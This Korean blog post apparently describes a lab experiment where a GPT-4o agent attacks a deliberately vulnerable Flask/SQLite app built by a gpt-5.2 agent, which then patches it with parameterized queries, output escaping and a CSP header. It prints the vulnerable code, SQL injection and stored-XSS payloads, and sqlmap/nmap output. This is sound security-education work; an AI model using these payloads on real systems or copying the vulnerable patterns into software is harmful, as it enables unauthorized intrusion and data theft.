AI가 스스로를 공격할 때: 완전 자율형 Red Team vs Blue Team 실험

날짜: 2026년 6월 22일 · 환경: Kali Linux VM · Azure OpenAI · Docker

태그: AI Security Penetration Testing AppSec Autonomous Agents GPT-4o gpt-5.2

머릿속을 떠나지 않았던 아이디어

두 개의 AI 에이전트가 서로 싸운다면 어떨까? 한 명은 웹 애플리케이션을 구축하고 방어하며, 다른 한 명은 침입을 시도하는 것이다. 서로 다른 두 개의 모델을 사용한다. 인간의 개입은 없다. 기다림도 없다. 터미널 명령어의 오타도 없다.

나는 이 실험을 실행했다. 결과는 예상보다 훨씬 흥미로웠다. 단순히 공격과 방어가 모두 작동했기 때문만이 아니라, 모든 과정이 얼마나 빠르게 일어났는지 때문이다.

설정 (The Setup)

두 개의 모델. 두 개의 역할. 하나의 격리된 Kali Linux VM.

에이전트	모델	역할
🔴 Red Agent	GPT-4o (Azure OpenAI)	공격, 결과 분석, 패치 검증
🔵 Blue Agent	gpt-5.2 (Azure OpenAI)	타겟 앱 구축, 취약점 패치

타겟 스택: Flask · SQLite · Werkzeug 3.1.8 · Python 3.11.15 · Docker

왜 서로 다른 두 모델을 사용하는가? 공격에 GPT-4o를 사용하고 방어에 gpt-5.2를 사용하면 진정한 비대칭성 (asymmetry)을 생성할 수 있다. 각 모델은 자신의 역할에 따라 서로 다른 추론 패턴을 가져온다. 단일 모델이 양쪽 역할을 모두 수행하면 편향된 결과가 나올 것이다.

도구에 관한 참고 사항: 에이전트 오케스트레이션 (orchestration)을 위해 AutoGen으로 시작했으나, 라이브러리 충돌 문제에 부딪혔다. AutoGen에 포함된 openai v0.x 버전이 최신 openai v1.x SDK와 충돌했다. 우리는 이를 폐기하고 Azure OpenAI API를 직접 호출했다. 더 단순하고, 빠르며, 마법 같은 요소가 없다.

1단계: 개념 증명 (Proof of Concept)

제1막 — Blue Agent의 타겟 구축 ⏱️ 15초

Blue Agent (gpt-5.2)에게는 단 하나의 지침이 주어졌다: Flask/SQLite 웹 앱을 구축하고, Docker를 통해 배포하며, 실험을 위해 의도적으로 두 개의 취약점을 남겨둘 것.

취약점 1: SQL Injection (SQL 삽입)

# ❌ 사용자 입력이 SQL 쿼리에 직접 삽입됨
query = f"SELECT * FROM users WHERE username='{user}' AND password='{pwd}'"
cur.execute(query)

취약점 2: 저장형 XSS (Stored XSS)

# ❌ 정제(sanitization) 없이 저장되고 렌더링되는 원시 사용자 입력
comments_html = "".join(f"<p>{r[0]}</p>" for r in rows)

데이터베이스에는 admin:secret123와 alice:pass456라는 두 명의 사용자가 미리 생성되어 있었습니다.

스크립트 실행부터 Container vulnerable-webapp Started까지: 15초.

$ curl -s http://localhost:5000/login | grep -o "<h2>.*</h2>"
<h2>Login</h2>   # ✅ 앱이 5000번 포트에서 실행 중

제2막 — Red Agent의 공격 ⏱️ 70초

Red Agent (GPT-4o)는 4단계 공격 스크립트를 자동으로 실행했습니다.

1단계 — 정찰 (Reconnaissance): nmap (6.38초)

PORT     STATE SERVICE VERSION
5000/tcp open  http    Werkzeug httpd 3.1.8 (Python 3.11.15)

프레임워크 버전이 지문 인식(fingerprinted)되었습니다. 우리가 무엇을 상대하고 있는지 정확히 파악했습니다.

2단계 — 수동 SQL 인젝션 (SQL Injection) (< 1초)

Payload:  admin' OR '1'='1
Response: ✅ Welcome admin!

첫 번째 시도에서 로그인이 우회되었습니다. 전형적인 OR 기반 인젝션입니다.

3단계 — sqlmap 자동 스캔 (10초)

sqlmap은 백엔드가 SQLite임을 자동으로 식별한 후, 동일한 username 파라미터에서 **세 가지 인젝션 기법 (injection techniques)**을 발견했습니다:

Type: boolean-based blind
Payload: username=admin' AND CASE WHEN 1348=1348 THEN 1348
         ELSE JSON(CHAR(69,74,90,69)) END AND 'xgKy'='xgKy
...

그 후 전체 데이터베이스를 덤프(dump)했습니다 — 총 100개의 HTTP 요청이 발생했습니다:

Database: SQLite_masterdb
Table: users
+----+-----------+----------+
...

4단계 — 저장형 XSS (Stored XSS) (< 1초)

Payload stored:  <script>alert("XSS_PWNED")</script>
Reflected back:  ✅ Script tag present — 방문자의 브라우저에서 실행됨

총합: 70초. 100개의 HTTP 요청. 모든 자격 증명(credential) 탈취. XSS 페이로드 활성화.

그 후 GPT-4o는 자신의 공격 출력물을 분석하여 구조화된 위협 인텔리전스 (threat intelligence) 보고서를 생성했습니다:

취약점 (Vulnerability)	심각도 (Severity)	영향 (Impact)
SQL Injection	Critical	데이터베이스 전체 탈취, 인증 우회
Stored XSS	High	모든 방문자 대상 임의의 JavaScript 실행

이 분석에 소요된 API 비용: 4,667 토큰 — 약 $0.05.

제3막 — Blue Agent가 코드를 패치하다 ⏱️ 30초

GPT-4o의 위협 보고서는 취약한 app.py 파일과 함께 Blue Agent (gpt-5.2)에게 직접 전달되었습니다. 보고서를 읽은 인간은 없었습니다. 수정 코드를 작성한 인간도 없었습니다.

수정 1: 매개변수화된 쿼리 (Parameterized Queries)

# ✅ SQL 로직과 사용자 데이터가 이제 완전히 분리되었습니다
cur.execute("SELECT * FROM users WHERE username=? AND password=?", (user, pwd))

데이터베이스 드라이버가 이스케이프 (escaping) 처리를 수행합니다. 사용자 입력은 항상 리터럴 값 (literal value)으로 취급되며, 결코 SQL 구문으로 처리되지 않습니다.

수정 2: 출력 인코딩 (Output Encoding) + CSP 헤더

# ✅ 렌더링 전 특수 문자를 무력화함
import html
comments_html = "".join(f"<p>{html.escape(r[0])}</p>" for r in rows)
...

Blue Agent는 자동으로 원본 파일의 백업(app.py.backup)을 저장하고, 패치된 버전을 작성했으며, 오케스트레이터 (orchestrator)가 Docker 재빌드를 트리거했습니다:

[+] Building 1.6s (11/11) FINISHED
✔ Container vulnerable-webapp  Started ✅

패치 생성에 소요된 API 비용: 2,561 토큰 — 약 $0.03.

제4막 — Red Agent가 수정을 확인하다 ⏱️ 3초

동일한 페이로드 (payloads). 동일한 도구. 하지만 다른 결과.

SQL Injection — 차단됨

Payload: admin' OR '1'='1
Result:  ❌ Invalid credentials

sqlmap — 모든 화력을 동원했으나, 발견된 것 없음

[WARNING] POST parameter 'username' does not seem to be injectable
[WARNING] POST parameter 'password' does not seem to be injectable
[CRITICAL] all tested parameters do not appear to be injectable.

sqlmap은 자신이 가진 모든 기술을 시도했습니다. 모두 실패했습니다.

Stored XSS — 탈출됨

Input:  <script>alert("XSS_PWNED")</script>
Output: &lt;script&gt;alert(&quot;XSS_PWNED&quot;)&lt;/script&gt;

일반 텍스트로 저장되었습니다. 브라우저는 이를 렌더링할 뿐, 실행하지는 않습니다.

정상적인 로그인은 여전히 작동합니다:

username=admin&password=secret123  →  ✅ Welcome admin!

취약점 (Vulnerability)	패치 전 (Before Patch)	패치 후 (After Patch)
SQL Injection — 수동 (manual)	❌ 공격 성공 (Exploited)	✅ 차단됨 (Blocked)
...

2단계: 완전 자율형 폐쇄 루프 (Fully Autonomous Closed-Loop)

1단계가 단계 간의 수동 전달을 통해 개념 증명 (Proof of Concept)을 수행했다면, 2단계는 이를 완전히 제거했습니다.

orchestrator.py는 두 에이전트를 **폐쇄 루프 피드백 시스템 (Closed-Loop Feedback System)**으로 연결합니다. 이는 단 하나의 명령 python3 orchestrator.py만으로 시작부터 끝까지 실행되는 자가 치유 보안 파이프라인 (Self-healing security pipeline)입니다.

[Orchestrator] ──── 실행 (launch) ────► [Red Agent GPT-4o: 공격 (Attack)]
      │                                        │
  Docker 재구축 (rebuild)                 보고서 생성 (generate report)
...

4단계에서의 결정적인 엔지니어링 결정: Red Agent는 단순히 attack.sh를 다시 실행하는 것이 아닙니다. 실제 패치된 Python 소스 코드를 전달받아, 이전의 페이로드 (Payload)가 새로운 로직에 대해 성공할 수 있을지 여부를 추론 (Reasoning) 합니다. 이는 맹목적인 도구의 재실행이 아니라, 코드 수준의 보안 분석 (Code-level security analysis)입니다.

실시간 오케스트레이터 출력 (Live Orchestrator Output)

🚀 합동 작전실 시작: Red Team vs Blue Team...
==================================================

...

CSP 헤더가 흥미로운 부분인 이유

Blue Agent는 명시적인 요청 없이도 **심층 방어 (Defense-in-Depth)**를 적용했습니다:

Layer 1: html.escape()가 Python 레벨에서 <script>를 <script>로 변환합니다.
Layer 2: Content-Security-Policy: script-src 'self'는 인코딩이 어떻게든 실패하더라도 브라우저가 모든 인라인 JavaScript를 거부하도록 지시합니다.

XSS가 성공하려면 두 레이어가 동시에 실패해야 합니다. 모델은 프롬프트에 명시되지 않았음에도 이를 독립적으로 추론했습니다.

전체 타임라인 (The Complete Timeline)

18:36:58  🔵 gpt-5.2 앱 빌드 → Docker 시작              ~15s
18:37:06  🔴 GPT-4o 공격 시작
          ├── nmap: Werkzeug 3.1.8 / Python 3.11.15          6.38s
...

이것이 실제로 의미하는 바

속도가 진정한 변화입니다.
전통적으로 며칠이 걸리던 작업 — Red Team (레드팀) 참여, 개발자의 보고서 검토, 수정 코드 작성, 리뷰, 배포 — 이 모든 과정이 2분 미만 만에 완료되었습니다. 이는 AI가 인간 보안 엔지니어보다 똑똑하기 때문이 아닙니다. AI는 멈추지 않고, 문맥 전환 (Context-switching)이 필요 없으며, Slack (슬랙) 답변을 기다릴 필요가 없기 때문입니다.

두 모델이 하나를 이깁니다.
공격 측의 GPT-4o와 방어 측의 gpt-5.2는 진정한 비대칭성 (Asymmetry)을 만들어냈습니다. 만약 단일 모델이 양쪽 역할을 모두 수행했다면, 이 실험은 덜 정직했을 것이고 덜 흥미로웠을 것입니다.

충돌이 발생하면 프레임워크를 버리세요.
AutoGen은 이론적으로는 훌륭해 보였습니다. 하지만 내장된 openai v0.x 버전이 우리의 openai v1.x 버전과 충돌했을 때, 우리는 디버깅에 시간을 낭비하는 대신 API를 직접 호출했습니다. 때로는 추상화 (Abstraction)가 그만한 가치가 없을 때가 있습니다.

AI는 발명하는 것이 아니라 압축합니다.
SQL Injection (SQL 인젝션)은 OWASP Top 10에 포함되어 있습니다. sqlmap은 공개되어 있습니다. 매개변수화된 쿼리 (Parameterized queries)는 어디에나 문서화되어 있습니다. 여기서 AI가 수행한 것은 '아는 것'과 '행하는 것' 사이의 시간 간격을 며칠에서 몇 초로 압축한 것입니다.

진정한 시사점.
만약 공격자가 0.05달러로 70초 만에 전체 Recon-Exploit-Report (정찰-취약점 공격-보고) 사이클을 자동화할 수 있다면, 방어자의 대응 시간은 오직 자동화만이 맞설 수 있는 수준으로 줄어듭니다. 이 실험은 그러한 압박을 보여주는 작은 시연입니다.

향후 계획

대상 앱에 CSRF 및 IDOR를 추가하고 반복 수행
Red Agent (레드 에이전트)가 사전에 알려주지 않은 취약점을 찾을 수 있는지 테스트
GPT-4o와 gpt-5.2를 양쪽 역할에 각각 배치하여 결과를 비교
오케스트레이션 루프 (Orchestration loop)를 위한 실시간 터미널 대시보드 구축
OWASP ZAP을 이용한 DAST (동적 애플리케이션 보안 테스트) 스캐닝으로 확장

_전체 소스 코드 및 설정 안내: https://github.com/AbdaullahAG/autonomous-ai-red-blue-lab

모든 테스트는 완전히 격리된 VM (가상 머신) 환경에서 수행되었습니다. 명시적인 서면 허가 없이 이러한 기술을 시스템에 적용하지 마십시오.

AI가 스스로를 공격할 때: 완전 자율형 Red Team vs Blue Team 실험

요약

핵심 포인트